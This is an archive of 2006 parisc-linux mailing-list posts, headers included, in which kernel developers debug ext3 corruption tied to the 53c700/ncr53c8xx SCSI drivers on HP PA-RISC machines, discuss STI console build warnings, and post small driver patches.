List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3nonce9fRkkeaauPfGRqFYdmdWkvKJPU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24003

> Hello James, Matthrew,
> 
Just small update ;-)

> I come back to you with this pb because as explained in a previous mail=
: 
>
<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/0301=
52.html>
> 
> , it seems to be related to ncr53c720 driver.
> 
> As I encountered same kind of pb on my c110:
> a few time after the reboot, I just did a tar/untar and already get:
> EXT3-fs error (device md2): ext3_readdir: bad entry in directory4Remoun=
ting
filesystem read-only
> 
> That said, it seems that I find a work around: I just reverted this
>
<http://cvs.parisc-linux.org/linux-2.6/drivers/scsi/ncr53c8xx.c?r1=3D1.18=
&r2=3D1.19&makepatch=3D1&diff_format=3Dh>
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> RCS file: /var/lib/cvs/linux-2.6/drivers/scsi/ncr53c8xx.c,v
> retrieving revision 1.18
> retrieving revision 1.19
> diff -u -r1.18 -r1.19
> --- linux-2.6/drivers/scsi/ncr53c8xx.c	2004/07/20 22:06:43	1.18
> +++ linux-2.6/drivers/scsi/ncr53c8xx.c	2004/07/27 21:19:51	1.19
> @@ -8633,7 +8633,7 @@
>    	tpnt->this_id		=3D 7;
>    	tpnt->sg_tablesize	=3D SCSI_NCR_SG_TABLESIZE;
>    	tpnt->cmd_per_lun	=3D SCSI_NCR_CMD_PER_LUN;
> -	tpnt->use_clustering	=3D DISABLE_CLUSTERING;
> +	tpnt->use_clustering	=3D ENABLE_CLUSTERING;
> 
>    	if (device->differential)
>    		driver_setup.diff_support =3D device->differential;
> =3D=3D=3D <> =3D=3D=3D
> 
> And a loop like:
> # while true; do nice -n -5 tar -xslpf linux-2.6.12-rc1-pa1.tar ; nice =
-n -5
rm -rf linux-2.6.12-rc1-pa 1-050319; date; done
> 
> was already running at least 85 time without any pb on this same c110 (=
same
kernel 2.6.18-rc6-pa1 + jejb's patch + your
> timer_interrupt patch).
> 
A longuer test on d380 (2.6.18-rc7-pa1 32bit up kernel) failed after only=
 some
loop with message:
EXT3-fs error (device sda10): ext3_readdir: bad entry in directory #14607=
0:
rec_len % 4 !=3D 0 - offset=3D0, inode=3D17645
Aborting journal on device sda10.                                        =
    
                                                      
ext3_abort called.                                                       =
    
                                                      
EXT3-fs error (device sda10): ext3_journal_start_sb: Detected aborted jou=
rnal
                                                      
Remounting filesystem read-only

Too bad ;-(

Thanks,
    Joel

=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez au=
jourd'hui Scarlet One grace a un client existant de Scarlet, vous recevez=
 tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http:/=
/www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] the 53c700 driver pb on c110/d380
Date: Thu, 21 Sep 2006 09:58:13 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <J5XNH1$569ECF73DD1D392C7A9410B9077DDA0C@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624188 21072 80.91.229.3 (22 Nov 2014 02:43:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:08 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James.Bottomley" <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Sep 2006 07:58:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 21 Sep 2006 09:58:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A0727D6A3;
	Thu, 21 Sep 2006 01:58:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32691-04; Thu, 21 Sep 2006 01:58:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42BFE7D6A8;
	Thu, 21 Sep 2006 01:58:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47AFA7D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Sep 2006 01:58:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32691-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Sep 2006 01:58:18 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 8C1ED7D691
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Sep 2006 01:58:17 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by weequay.is.scarlet.be  with ESMTP id k8L7wDl30889;
	Thu, 21 Sep 2006 09:58:13 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FHAndNV9bUkoDenGPWgnOZxkZ2hlN4oP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24004

> On Fri, 2006-09-15 at 11:10 +0000, Joel Soete wrote:
> > Aug 26 07:37:48 patst007 kernel: scsi3: (3:0) phase mismatch at 01e8,=

> > phase IO CD MSG BSY REQ MSG IN
> 
> 1e8 is 	at
> 
> MOVE	CommandCount, CommandAddress, WHEN CMD
> 
> What this means is that the device transitioned away from the command
> phase while the host still had bytes to send.  i.e. the host and device=

> disagree on how long some command should be.  Thus, either the device i=
s
> buggy, or someone sent a command via sg with an incorrect length.
> 
Thanks.

Btw I grab the disk with its scsi terminator and scsi cable to connect it=
 on a
b180 (using also scsi1: 53c710 rev 2) and ran the test loop for now more =
then
17h without any kind of pb ;-)

May I supposed that there is no hw with scsi disk.

That said the kernel used the same drivers for the same kind of hba, and =
afaik
the big diff between this b180 and other c110/d380 is the ccio runaway bu=
s
ctrlr. May I so reasonably thougt that the pb came from the ccio-dma driv=
er?
But where should it be located?

Thanks again,
    Joel

> James
> 
> 
> =0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez =
aujourd'hui Scarlet One grace a un client existant de Scarlet, vous recev=
ez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http=
://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Current allmodconfig failures
Date: Fri, 22 Sep 2006 20:44:03 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <200609222044.03317.deller@gmx.de>
References: <20060921114240.GL2585@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624188 21074 80.91.229.3 (22 Nov 2014 02:43:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:08 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Sep 2006 18:44:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 22 Sep 2006 20:44:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4452C7D6D4;
	Fri, 22 Sep 2006 12:44:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26361-08; Fri, 22 Sep 2006 12:44:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E2AD7D702;
	Fri, 22 Sep 2006 12:44:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 706BC7D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Sep 2006 12:44:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26371-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Sep 2006 12:44:09 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C4E747D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Sep 2006 12:44:08 -0600 (MDT)
Original-Received: (qmail invoked by alias); 22 Sep 2006 18:44:07 -0000
Original-Received: from unknown (EHLO p100.box) [89.12.28.75]
	by mail.gmx.net (mp027) with SMTP; 22 Sep 2006 20:44:07 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.4
In-Reply-To: <20060921114240.GL2585@parisc-linux.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MhcidJY7YmYSfenCanc3jjhKWkZTQRQ7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24005

On Thursday 21 September 2006 13:42, Matthew Wilcox wrote:
> $ grep undefined make.err 
> WARNING: "flush_data_cache" [drivers/video/console/sticore.ko] undefined!
> WARNING: "sti_set" [drivers/video/console/sticon.ko] undefined!
> WARNING: "sti_putc" [drivers/video/console/sticon.ko] undefined!
> WARNING: "sti_bmove" [drivers/video/console/sticon.ko] undefined!
> WARNING: "sti_clear" [drivers/video/console/sticon.ko] undefined!
> WARNING: "dummy_con" [drivers/video/console/sticon.ko] undefined!
> WARNING: "conswitchp" [drivers/video/console/sticon.ko] undefined!
> 
> I suspect the flush_data_cache() is a relic from the olden days -- I
> think the flush_icache_range() call should be sufficient.

Yes. flush_kernel_dcache_range() may need to stay as well.

> STI scares me.  

Why ?

> I don't understand why we need the dummy console.  

AFAIK, we need the dummy console, because at the point where other arches initialize their graphics subsystem, we can't do it.
We do it later when all infrastructure is available and then take_over_console().

> I don't know if it makes any sense to build your console as a module. 

Why not ?
Switching from sti console to another one should be possible IMHO.
It's even good when debugging the STI functions.

> I don't know why sticore is in the console directory.

sticore is used by stifb and sticon.
It has more console functions, so IMHO it's OK.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt #5
Date: Fri, 22 Sep 2006 20:41:41 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200609230041.k8N0fgHk014938@hiauly1.hia.nrc.ca>
References: <20060908184933.GA24597@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624189 21076 80.91.229.3 (22 Nov 2014 02:43:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Sep 2006 00:41:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 23 Sep 2006 02:41:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D3967D739;
	Fri, 22 Sep 2006 18:41:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29682-09; Fri, 22 Sep 2006 18:41:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A70E7D731;
	Fri, 22 Sep 2006 18:41:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A3A57D72D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Sep 2006 18:41:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29682-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Sep 2006 18:41:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 192A57D72C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Sep 2006 18:41:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k8N0fgqf014939;
	Fri, 22 Sep 2006 20:41:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k8N0fgHk014938;
	Fri, 22 Sep 2006 20:41:42 -0400 (EDT)
In-Reply-To: <20060908184933.GA24597@colo.lackof.org> from "Grant Grundler" at
	Sep 8, 2006 12:49:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4LsscJh7bmw7XK2HZzdLQvdHUzc4clEi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24006

> For the record, I 've been testing those patches on C3000 (no problems)
> B2600 (HPMC in tulip_get_stats() from LED/LCD task), and A500 (no problems).
> The C3000 (32-bit UP) and A500 (64-bit SMP) ran "make -j4" several days
> in a loop with no problems or console output.

I just saw the following message doing an "apt-get upgrade" on c2k:

tar: ./usr/share/sysvinit/inittab: time stamp 2006-09-22 20:32:05.780266 is 0.000141 s in the future

System is 2.6.18-rc7-pa1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tulip de2104c warning build cleanup
Date: Mon, 25 Sep 2006 13:36:46 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <J65C9A$807CC8EE6E6E93979D00084910013AEB@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624189 21079 80.91.229.3 (22 Nov 2014 02:43:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:09 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2006 11:37:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 25 Sep 2006 13:37:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01E277D68C;
	Mon, 25 Sep 2006 05:36:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11567-06; Mon, 25 Sep 2006 05:36:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01A517D68F;
	Mon, 25 Sep 2006 05:36:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41D3D7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 05:36:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11743-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 05:36:52 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 8C6237D684
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 05:36:51 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40])
	by weequay.is.scarlet.be  with ESMTP id k8PBakG16867
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 13:36:46 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XY0ufbVyYW0+VLuGbmZpUel0amthcxte
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24007

Hello,

this was just a warning at build time:
  hppa64-linux-gnu-gcc -Wp,-MD,drivers/net/tulip/.de2104x.o.d  -nostdinc
-isystem /usr/lib/gcc/hppa64-linux-gnu/4.1.2/include -D__KE
RNEL__ -Iinclude -Iinclude2 -I/CAD/linux-2.6.18-pa0-20060925/include -inc=
lude
include/linux/autoconf.h -I/CAD/linux-2.6.18-pa0-20060
925/drivers/net/tulip -Idrivers/net/tulip -Wall -Wundef -Wstrict-prototyp=
es
-Wno-trigraphs -fno-strict-aliasing -fno-common -O2 -pip
e -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-secti=
ons
-march=3D2.0 -mschedule=3D8000 -fomit-frame-pointer -fno-st
ack-protector -Wdeclaration-after-statement -Wno-pointer-sign 
-D"KBUILD_STR(s)=3D#s" -D"KBUILD_BASENAME=3DKBUILD_STR(de2104x)"  -D"KBUI=

LD_MODNAME=3DKBUILD_STR(de2104x)" -c -o drivers/net/tulip/de2104x.o
/CAD/linux-2.6.18-pa0-20060925/drivers/net/tulip/de2104x.c
/CAD/linux-2.6.18-pa0-20060925/drivers/net/tulip/de2104x.c:2086: warning:=

'de_remove_one' defined but not used

which seems to be clean with:
--- drivers/net/tulip/de2104x.c 2006-09-18 10:45:14.000000000 +0200
+++ drivers/net/tulip/de2104x.c.New     2006-09-25 12:20:36.000000000 +02=
00
@@ -2160,7 +2160,7 @@
        .name           =3D DRV_NAME,
        .id_table       =3D de_pci_tbl,
        .probe          =3D de_init_one,
-       .remove         =3D __exit_p(de_remove_one),
+       .remove         =3D __devexit_p(de_remove_one),
 #ifdef CONFIG_PM
        .suspend        =3D de_suspend,
        .resume         =3D de_resume,

hth,
    Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous de=
venez aujourd'hui Scarlet One grace a un client existant de Scarlet, vous=
 recevez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite su=
r http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NCR SCSI hardware documentation
Date: Mon, 25 Sep 2006 09:26:40 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <200609250926.40678.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624189 21082 80.91.229.3 (22 Nov 2014 02:43:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
